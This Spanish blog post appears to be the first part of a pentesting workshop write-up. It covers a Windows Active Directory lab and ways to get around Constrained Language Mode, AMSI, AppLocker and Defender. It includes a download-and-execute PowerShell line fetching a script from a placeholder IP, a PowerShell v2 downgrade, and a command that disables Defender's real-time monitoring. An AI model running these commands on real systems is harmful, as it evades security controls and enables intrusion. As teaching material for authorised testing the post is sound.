Hola a todos!
Después de muchísimo tiempo sin escribir por aquí, vuelvo para hacer un par de posts sobre el write-up del taller que impartí durante la Euskalhack V de este año, que volvió a celebrarse.
Se ha dividido el write-up en diferentes posts para agilizar su lectura:
- Setup del lab e introducción de las medidas de seguridad de Windows.
- Tunning de herramientas para evadir los AV.
- Enumeración del Directorio Activo (DA)
- Movimiento lateral y vertical
Pues empecemos!
A diferencia de otros talleres que he impartido, en esta ocasión no facilité máquinas ya pre-configuradas, por las siguientes razones:
- En la gran mayoría de casos, muy pocos asistentes las llevan instaladas, configuradas,… vamos el setup básico.
- Limite de descarga de MEGA. En esta caso al ser máquinas Windows, os podéis imaginar los tamaños que podrían tener.
- Problemas de conexión o importación fallida según la virtualización de cada uno al ser máquinas dentro de un DA.
Por este motivo, desarrollé una pequeña guía para que los asistentes interesados pudieran preparar el entorno por si querían seguirlo durante el taller (lo cual realmente puede llegar a ser difícil), o bien practicar y cacharrear a posteriori.
Además, podéis encontrar las slides que se usaron como apoyo aquí.
La motivación del taller viene dada por la experiencia en varios proyectos de test de intrusión interno que tuve que hacer en su día. En muchas ocasiones, acude el pentester con su portátil con su distribución favorita y se engancha a la red de la compañía, o bien acceso mediante VPN. Sin embargo, en estas experiencias el cliente solicitaba que se hiciera desde un equipo corporativo plataformado, simulando que fuera un insider, o bien la cuenta de un empleado se hubiera comprometido en una campaña de phishing y se hiciera un acceso impersonalizado desde un escritorio remoto o CITRIX. ¿Cuál es la problemática de esto? La realización de un pentesting en un entorno hostil, como es windows con sus limitaciones a nivel de medidas de seguridad o la presencia de un AV.
Por ello, el punto de partida del taller es que se han obtenido las credenciales de un empleado y se tiene acceso mediante un escritorio virtual como CITRIX o VPN+RDP, en un equipo en dominio.
Pues una vez montado el laboratorio como se explica en la guía se tienen las siguientes máquinas:
- Workstation1 – Nuestro punto de partida (cliente 1)
- SRV01 (cliente2)
- DC01 – Autoexplicativo por el nombre. Nuestro final flag!
En mi caso añadí un tercer client (SRV02) como backup.
En primer lugar, es necesario realizar una enumeración interna para saber dónde estamos o qué medidas de seguridad están habilitadas:
- Medidas de seguridad en Windows:
- CLM (Constrained Language Mode)
- AMSI (AntiMalware Scan Interface)
- Applocker
- Posibles limitaciones por GPO del DA
- Firewall Windows
- Entorno
- ¿Somos administradores locales?
- ¿La máquina está en dominio?
- ¿A qué grupo del DA pertenecemos?
- Búsqueda de ficheros con credenciales o config harcodeada.
- …
CLM (Constrained Language Mode)
Es un mecanismo avanzado para restringir la carga de scripts externos de Microsoft. Para comprobar su configuración, se abre un terminal de powershell y se ejecuta el siguiente comando:
$ExecutionContext.SessionState.LanguageMode
Como se observa en la evidencia anterior, se encuentra habilitado. Esto va a impedir la carga de scripts. Sus posibles valores son:
- FullLanguage: No está habilitado, barra libre 🙂
- Restricted. Está habilitado 🙁
A continuación, se mencionan algunos mecanismos y herramientas que posibilitan su bypass (hay que tener en cuenta que algunas tools podrían ser detectadas y borradas por el AV):
- Powershell versión 2. El requisito para su uso es que se encuentra instalada la versión de .NET 3.5 (incluye la 2.0 y 3.0) y habilitada la versión 2 de powershell.
Se basa en hacer un downgrade de la versión de powershell que es más ligera, flexible y a la par que «insegura» pues no dispone de las protecciones de CLM ni AMSI. Para su uso es tan simple como ejecutar: powershell -v 2
Como se puede apreciar el resultado del CLM es full language, mientras al ejecutar keywords «sospechosas» ya no salta la protección de AMSI, sino que indica que no se encuentra el cmdlet al no estar cargado.
CLMbypass. Esta tool permite la descarga y carga en memoria de un script (con autollamada). Por ejemplo, .\CLMbypass.exe «IEX(New-Object Net.WebClient).Downloadstring(«http://<IP>/somescript.ps1′)». A la fecha de la ejecución del taller la herramienta no estaba siendo categorizada como maliciosa por Windows Defender.
Al ejecutar el código: [system.console]::WriteLine(«Test») salta la protección de CLM. Sin embargo, al descargarlo encapsulado en el script test.ps1 haciendo uso de esta herramienta es posible su bypass:
Powershellveryless: Permite el bypass CLM+AMSI.
Cabe recordar que, en primer lugar, hay que compilar el código que se baja desde github en nuestra máquina de trabajo:
A continuación, se dejan algunas poc’s. En este caso, como se observa el binario se encuentra tocando disco en la máquina, por lo que la presencia del AV podría eliminarlo:
Es necesario recalcar que hay más herramienta que hacen esta labor, sin embargo, las que conozco estaban siendo detectadas y eliminadas por Windows Defender, por lo que se han descartado de añadir.
AMSI (AntiMalware Interface Scan)
Bypassear AMSI es relativamente sencillo como PoC, pero realmente pesado implementar en scripts. AMSI dispone de cadenas y keywords consideradas como maliciosas que al detectar al cargar un script, bloquea de inmediato al considerarlas como software malicioso. A continuación, se puede observar una PoC de cómo se pueden trocear las cadenas para bypassea AMSI:
Se dispone del recurso https://amsi.fail/ que facilita diferentes payloads para deshabilitar AMSI:
Sin embargo, al poco de aparecer son parcheados y tienen poca vida útil.
AppLocker
Para comprobar su configuración:
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Esta restricción se quitó al empezar el taller pues iba a ralentizar el desarrollo del mismo en el tiempo reservado.
Antivirus && EDR
Es necesario ofuscar, modificar variables e incluso cifrar el payload y cargarlo en memoria para dificultar su detección. En el caso de ser administrador local o llegar a serlo, se puede desactivar el AV de Windows de la siguiente manera:
Set-MpPreference -DisableRealTimeMonitoring $true
En el siguiente post continuaremos desde este punto que tiene bastante miga.
Nos vemos en el siguiente post.
Saludos.
N4xh4ck5
La mejor defensa es un buen ataque